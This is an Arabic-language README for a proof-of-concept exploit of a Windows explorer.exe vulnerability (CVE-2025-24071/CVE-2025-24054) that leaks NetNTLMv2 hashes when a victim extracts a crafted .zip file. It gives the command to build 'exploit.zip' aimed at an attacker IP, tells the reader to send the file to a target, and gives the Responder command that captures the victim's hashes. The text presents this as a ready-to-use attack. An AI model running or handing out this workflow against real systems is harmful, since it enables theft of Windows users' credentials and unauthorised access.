CVE-2025-24071 / CVE-2025-24054 PoC

تحرير: قامت مايكروسوفت بإعادة تسمية CVE-2025-24071 إلى CVE-2025-24054 🤔

نظرة عامة

تتيح لنا هذه الثغرة في ويندوز، وتحديدًا في explorer.exe، استلام تجزئة NetNTLMv2 من الضحية فقط عندما يقوم المهاجم بفك ضغط ملف .zip.

الاستخدام

• قم بتشغيل السكربت

python PoC.py test 192.168.1.45

• أرسل "exploit.zip" إلى الهدف، وبعدها يمكنك استخدام Responder لاستلام تجزئة NTLMv2

sudo python3 responder.py -I ens33

• الآن عندما يقوم الهدف بفك ضغط الملف .zip، بووم! نحصل على تجزئات NTLM